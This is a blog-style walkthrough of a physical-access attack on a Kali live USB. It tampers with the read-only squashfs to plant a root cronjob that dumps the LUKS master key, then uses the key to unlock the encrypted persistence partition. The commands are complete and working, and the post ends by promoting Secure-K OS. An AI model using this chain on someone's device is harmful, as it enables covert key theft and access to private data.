An evil Penguin grabs the persistence partition’s key of a friend’s Kali live operating system

(How to get a Kali LUKS master key)

I have recenty set up a Kali live operating system with a LUKS-encrypted data persistence partition, and used it for a while. Unlike Tails, fortunately Kali Linux makes use of a ISO9660-formatted partition for system files (it does not feature the kernel update facility however).

Anyway, my question is the same as for Tails: if I lend my USB key running Kali to an evil Penguin, am I sure to use it again afterwards? And anoter more important one: if there are some data within the persistence partition, are they safe in the aforementioned case? Is my LUKS key safe?

An evil Penguin’s idea (just to follow my previous Tails article’s mood) is to inject a script into the Kali filesystem which is able to reveal the LUKS master key – and eventually send it by the network. Is it possible to accomplish the task if the filesystem is a read only one? Let’s see.

 

How to

In the following scenario the evil Penguin will just set-up end inject a cronjob to save the LUKS master key into /tmp. And it’s easy after all.

Step 1.
EP: “My Dear Friend, I’d need your Kali for just a while”.

Step 2.
DF: “Fine”.

Step 3.
The evil Penguin injects the cronjob.

Firstly he locates the device file of the plugged-in Kali USB key:

fdisk -l

Device Boot Start End Sectors Size Id Type
/dev/sdc1 * 64 5999871 5999808 2,9G 17 Hidden HPFS/NTFS
/dev/sdc2 5999872 6001279 1408 704K 1 FAT12
/dev/sdc3 6002688 125313023 119310336 56,9G 83 Linux

Then he copies the live filesystem.squashfs into his PC’s filesystem and “opens” it:

mount /dev/sdc1 /mnt/
mkdir /tmp/chroot
cd /tmp/chroot/
cp /mnt/live/filesystem.squashfs /tmp/
unsquashfs /tmp/filesystem.squashfs
cd squashfs-root/

Then he chroots inside the uncompressed filesystem – this way one could also install some packages inside (not done here):

mount -o bind /proc /tmp/chroot/squashfs-root/proc
mount -o bind /dev /tmp/chroot/squashfs-root/dev
mount -o bind /dev/pts /tmp/chroot/squashfs-root/dev/pts
mount -o bind /sys /tmp/chroot/squashfs-root/sys
chroot .

It’s now the turn of injecting the cronjob:

echo "* * * * * /sbin/dmsetup table --target crypt --showkey /dev/mapper/\$(ls /dev/mapper | awk '{print \$1}' | tail -1) >/tmp/luks.master" >/var/spool/cron/crontabs/root
chown 0:crontab /var/spool/cron/crontabs/root
chmod 600 /var/spool/cron/crontabs/root

The dmsetup line is able to read the LUKS master key once the LUKS partition is unlocked.
$(ls /dev/mapper | awk ‘{print $1}’ | tail -1) locates the name of the Kali device file for the unlocked LUKS partition.

The evil Penguin now cleanly exists from the chroot:

exit
umount /tmp/chroot/squashfs-root/proc
umount /tmp/chroot/squashfs-root/dev/pts
umount /tmp/chroot/squashfs-root/dev
umount /tmp/chroot/squashfs-root/sys

Then he rebuilds the squashfs image:

cd ..
mksquashfs squashfs-root/ filesystem.squashfs -comp xz
umount /dev/sdc1

In order for the evil Penguin to rewrite the USB key’s filesystem.squashfs file, he now needs to fully rewrite the ISO filesystem from scratch:

shopt -s dotglob
mkdir /tmp/kali
cp -a /mnt/* /tmp/kali/
cp -f /tmp/chroot/filesystem.squashfs /tmp/kali/live/filesystem.squashfs
rm -R /tmp/kali/install # freeing some space - Kali partition is set up bit-perfectly 😉

cd /tmp/kali
xorrisofs -volid Kali_modified -o /dev/sdc1

Note however that this procedure is just to demonstrate how to rewrite a readonly ISO9660 system partition: this way only the UEFI boot will be functioning and the BIOS boot will be broken. A simple bootloader reinstallation will fix this, but I’m not covering the topic here.

Step 4.
EP: “Ok done it. thanks”.

Step 5.
DF. Run, unlock the encrypted persistence storage, boom.

The /tmp/luks.master file now dumps the key:

0 108525794 crypt aes-xts-plain64 a1dbda7f9da88f9783bc52ef28755951cebc72ab6e391f2bd7fac82d7e36dc5e 0 8:18 4096

Whith the knowledge of the master key, one can then always and easily open the LUKS-encrypted persistence partition of the USB key:

echo -n "a1dbda7f9da88f9783bc52ef28755951cebc72ab6e391f2bd7fac82d7e36dc5e" >/tmp/master.key
xxd -r -p /tmp/master.key /tmp/masterkey.bin
cryptsetup --master-key-file masterkey.bin luksOpen /dev/sdc2 enc
mount /dev/mapper/enc /mnt/

 

Conclusion

At the end of the day, there is no anti-tampering mechanism in Kali Linux live that prevents system files from being modified by an evil Penguin who phisically owns the USB key. However, the read-only filesystem for its system partition requires more work than in Tails for an attacker to accomplish his task.

 

Alternatives

Secure-K OS is built upon Open Secure-K OS and improves its community counterpart in some ways. Here, anti-tampering measures are performed during the bootstrap: a self-checking kernel component is available, which is responsible for verifying that system files have not been tampered, preventing the virtualization of the image, the use of the init= kernel boot parameter, and so on.